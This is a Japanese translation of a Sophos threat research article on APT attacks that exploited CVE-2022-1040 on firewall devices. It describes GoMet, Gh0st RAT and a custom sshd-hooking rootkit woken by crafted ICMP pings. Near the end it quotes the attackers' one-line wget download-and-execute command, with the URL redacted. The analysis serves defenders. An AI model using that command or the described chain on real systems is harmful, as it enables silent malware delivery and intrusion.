** 本記事は、Sophos uncovers how APT groups carried out highly targeted attack の翻訳です。最新の情報は英語記事をご覧ください。**
ソフォスが最近実施した調査で、2 つの APT グループがエクスプロイトを現在展開しており、注意が必要なマルウェアを配信していることが明らかになりました。
この高度な標的型攻撃の被害を受けたデバイスは、いずれも特定のマルウェアファミリー 3 種の中のいずれかのマルウェアに感染していました。ペイロードうちの 1 つには Busybox (標準 UNIX コマンドで重要な多数のプログラムを単一の実行ファイルに追加したもの) が組み込まれており、マルウェアを実行した環境を完全に制御します。
ソフォスの研究チームによる長期にわたる調査とリバースエンジニアリングの結果、攻撃者が使用するツールと技術について明らかになりました。この記事が、サイバーセキュリティ関係者と脅威研究コミュニティの皆様の参考になれば幸いです。
攻撃開始の経緯
この攻撃は、CVE-2022-1040 が割り当てられている脆弱性を悪用することから始まっています。この脆弱性は、標準的なシステムプロセスを悪用して、デバイス上の特定のファイルシステムの場所にファイルを配置します。
攻撃者は、まずこの脆弱性によって悪意のあるファイルをデバイスに配置します。その後、デバイスを停止させ、複数のサービスを再起動します。この段階で、デバイスは配置されたファイルを実行します。
この攻撃は、デバイスのファームウェアをリバースエンジニアリングして得られた知識を元にして攻撃者が手動で実行した可能性が高いと考えられます。ソフォスが発見した ELF 実行ファイルの多くは、感染したデバイスでファイルや設定の書き込み、読み取り、操作を行うことができる代理シェルとして機能しました。
また、発見された ELF マルウェアの検体には、バックドアツールが含まれているものもありました。攻撃者は、バックドアを利用してデバイスに侵入した後、リモートからコマンドを実行しました。それだけでなく、攻撃者がデバイス本体からさまざまな機密データを流出させ、ホストネットワーク上の他の潜在的な標的に関するプロファイリングや文書化に利用していたことが、デバイスに残されたテキストファイルから明らかになっています。
ソフォスのアナリストは、攻撃者が GoMet と呼ばれるリモートアクセスツール (ソフォス製品では Linux/Bdoor-BIN として検出します) のほぼ標準的なバージョンをコンパイルし、時間を指定してマルウェアを実行する cron ジョブを設定していたことも突き止めています。これまでに 2 つの亜種が発見され、1 つは javad または javadsrv、もう 1 つは javasrvd. と名付けられました)。
この 2 種の GoMet のトロイの木馬亜種が大きく異なる唯一の点は、実行の際に使用される cron ジョブの実行の頻度です。一方の亜種は 10 分ごとに GoMet を実行するように設定されたのに対し、もう片方は 1 時間に 1 回実行するように設定されていました。
また、デバイスから Gh0st RAT マルウェアの数種類の検体を復元した際に、検体の 1 つは上記と同様 javad と名付けられ、別の検体は /bin/wrapped の中で見つかりました。Gh0st RAT (Linux/Agnt-A) とは、Windows と Linux の両方のプラットフォームで広く使用されている、一般的なマルウェアファミリーです。
これらの検体の精巧さが比較的低いことから、少なくとも 2 つ存在している可能性がある APT グループのうちの能力が低いグループが仕掛けた攻撃であると考えられます。どちらのグループも、同じエクスプロイトを使用したマルウェアを展開するために必要な知識を有していたものの、もう一方の APT グループの方がはるかに能力が高く、この環境で実行するために特別に設計されたカスタムマルウェアを作成し、これらのデバイスにあるファイルを偽装していました。
たとえば、攻撃者によって侵害されたシステムから取得されたいくつかのファイルには、機能を追加するために修正が加えられおり、修正された内容が元のファイルに上書きされていました。追加された機能はファイルシステム上に痕跡を残すことなく、他のファイルを解読し、デバイスに動的にロードするというものです。
システムに残されたカスタム ELF バイナリはこのグループの高い能力を示しています。通常のインストールでは、このような名前が付けられた ELF ファイルは存在しないため、このファイル (ファイルが発見されたデバイスは 1 台のみ) の危険性に気づくことができました。
マルウェアの特徴
このカスタム ELF ファイル (Linux/Agnt-AS として検出) について、ソフォスが最初に発見したことの 1 つは、このファイルの作成者がVMProtect という商用ランタイムパッカーでラッピングしていたことです。このようなランタイムパッカーは、通常競合他社によるリバースエンジニアリングを防ぐために一部の商用ソフトウェアで使用されていますが、マルウェアの作成者に悪用されると、セキュリティ研究の妨げになります。ソフォスの研究員は、このパッカーを使用してパックされた Windows ベースのマルウェアについては十分な知識を有していますが、あまり一般的ではない Linux の亜種を同グループが使用していたことから、調査は難航しました。
このファイルのサイズは約 3MB と、比較的大きな ELF バイナリで、多くの機能を実装しています。ファイルの中核はルートキットで、攻撃者がデバイスのスタートアップシーケンスに LD_PRELOAD エントリを追加することで設定されます。
ファイルが正しくセットアップされると、セキュアシェルデーモン (sshd) サービスのメモリ空間にロードされます。 ACCEPT 関数をフックするために sshd がこの関数を呼び出すと、オペレーティングシステムはリクエストを悪意のある ELF ファイルに直接送信します。この悪意のある accept 関数が、偽の ssh ハンドシェイクと ssl セットアップ (ハードコードされたルート CA 証明書が含まれる) を実行します。また、このバイナリは、環境変数 LD_PRELOAD のエントリを削除し、sshd サービスがライブラリをプリロードしたことを隠す一方、procfs コマンドは、sshd 内のメモリマッピングとしてリンクされているライブラリを公開します。
このマルウェアは、細工された暗号データを含む ICMP ping パケットによって実行されます (ICMP ping を通常使用する場合には、実行されることはありません)。この ping に応答して、同マルウェアが ping データフィールドの暗号化されたデータに含まれる IP アドレスとポートに秘密裏に接続セッションを開き、ping の送信者にデバイスへのバックドアを提供します。
また、悪意のある ELF バイナリは、ファイルシステム内の読み取り専用パーティションをアンマウントし、書き込み可能なパーティションを再マウントすることができます。この機能を利用すれば、他の方法では不可能なファイルシステムの変更も可能です。さらに、このマルウェアは libpcap のバージョンを含むようにコンパイルされており、攻撃者はこれを使用してネットワークトラフィックを盗聴し、攻撃者のアクティブな接続にパケットで書き出しました。
このマルウェアの機能を分析したところ、ハードコードされた認証局 (CA) ルート証明書が含まれていました。そして、悪意のある ELF バイナリの作成者はこの証明書を攻撃のための接続で SSL を設定するために使用していました。
すべてのデバイスから抽出された証明書は、すべて同じシリアル番号が設定されており、有効期間は 2021 年 8 月 30 日 (月曜日) から 10 年間と記されていました。証明書は有効ではなかったものの、証明書の「 Issuer 」の値から、この証明書は他のデバイスベンダーが使用しているものを模倣して特別に作成されたことが判明しました。また、証明書にはメーカー名とその製品名の両方が含まれていることもわかっています。
攻撃者は、ファイルの移動と操作、プロセスの実行と終了、ファイルの移動、デバイスからの機密データの抽出と流出を行うための公開されていない内部コマンドを操作する方法を使用していました。
攻撃の構造
攻撃者は、認証バイパスとコマンドインジェクション攻撃の 2 段階のエクスプロイトを作成しています。これらを組み合わせて使用することで、デバイスでルート権限を使用して任意のコマンドを実行できます。攻撃者はまた、デバイスがリモートサーバーからファイルを取得するためのコマンドをデバイスに渡すことができることを発見しました。
ファイルを取得するコマンドは、ファイアウォールが通常一時的にファームウェアの更新ファイルを保存しているデバイス上のディレクトリにファイルをドロップします。攻撃者は、このデバイスの内部動作に関する知識に基づいて 2 つ目のコマンドを実行し、ファームウェアの更新が可能かどうかを確認するように仕向けています。ファームウェアの更新プロセスは、攻撃者が一時的に保存しておいたファイルの内容を参照、実行しています。
これらの技術が使用されていることから、ファイアウォールデバイスでは通常実行されないさまざまなタスクを達成するために、攻撃者がデバイスの基本的な機能の研究と内部 API の発見に、相当の時間が費やしたとことがわかります。
このファイルには、攻撃者がコントロールするサーバーからダウンロードできるシェルスクリプトが含まれていました。使用される URL、および配信されるスクリプトのペイロードは、標的ごとに若干変更されていました。このスクリプトペイロードは、攻撃の次の段階を開始させ、感染した各デバイスに悪意のある実行ファイルを配信するものです。
これらのスクリプトのペイロードは、ホストされている URL とペイロードのファイル名が異なるものの、それぞれパターンは類似しています。このスクリプトは、まず /tmp/ ディレクトリにある .a という名前の既存のファイルを削除しようと試みます。次に wget を使って少数の URL のいずれかからペイロードを取得し、それを /tmp/.a として書き出します。そして、chmod を用いて実行可能になったペイロードを実行し、先ほどと同様の削除コマンドを実行して /tmp/ から .a ファイルを削除します。使用されたコマンドは以下です。
rm -rf /tmp/.a;wget [URL] -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a;rm -rf /tmp/.a
攻撃者は、いくつかのインスタンスで、標的となるいくつかの組織とその組織の業務に関連するカスタムドメイン名を登録しています。
いくつかの検体では、URL は、別の侵害されたデバイスの IP アドレスを指しており、攻撃者は、悪意のあるペイロードをホストするためにそれらの IP アドレスを使用しました。
また、攻撃者は、この地域の新型コロナウィルス対応活動に関与している大学の医学研究部門の Web サイトに属する複数の IP アドレスを使用していました。
IoC とその他のレッドフラグ
ソフォス所有のマルウェアのペイロードをホストするために使用されたドメインと IP アドレスの包括的なリストを参照したところ、2022 年 3 月 21 日にソフォスが調査を開始してから、どのサイトも現在は使用されていません。
同攻撃で悪用された脆弱性は、CVE-2022-1040 に関するアドバイザリで説明したように、すぐに解決されました。また、影響を受けたデバイスを使用している少数の組織への対応は優先的に行われました。
謝辞
SophosLabs は、これらの攻撃の調査およびマルウェアの研究に携わった Timothy Easton、Sabrina Karim、Elison Niven、Brijesh Rajput、Tom Sage、および Sophos Global Security Operations Center の運営チームの貢献に感謝します。追加情報と IOC (セキュリティ侵害の兆候) については、Recorded Future の研究員の方々から情報提供を受けました。
そして最後に、Volexity 社にも感謝申し上げます。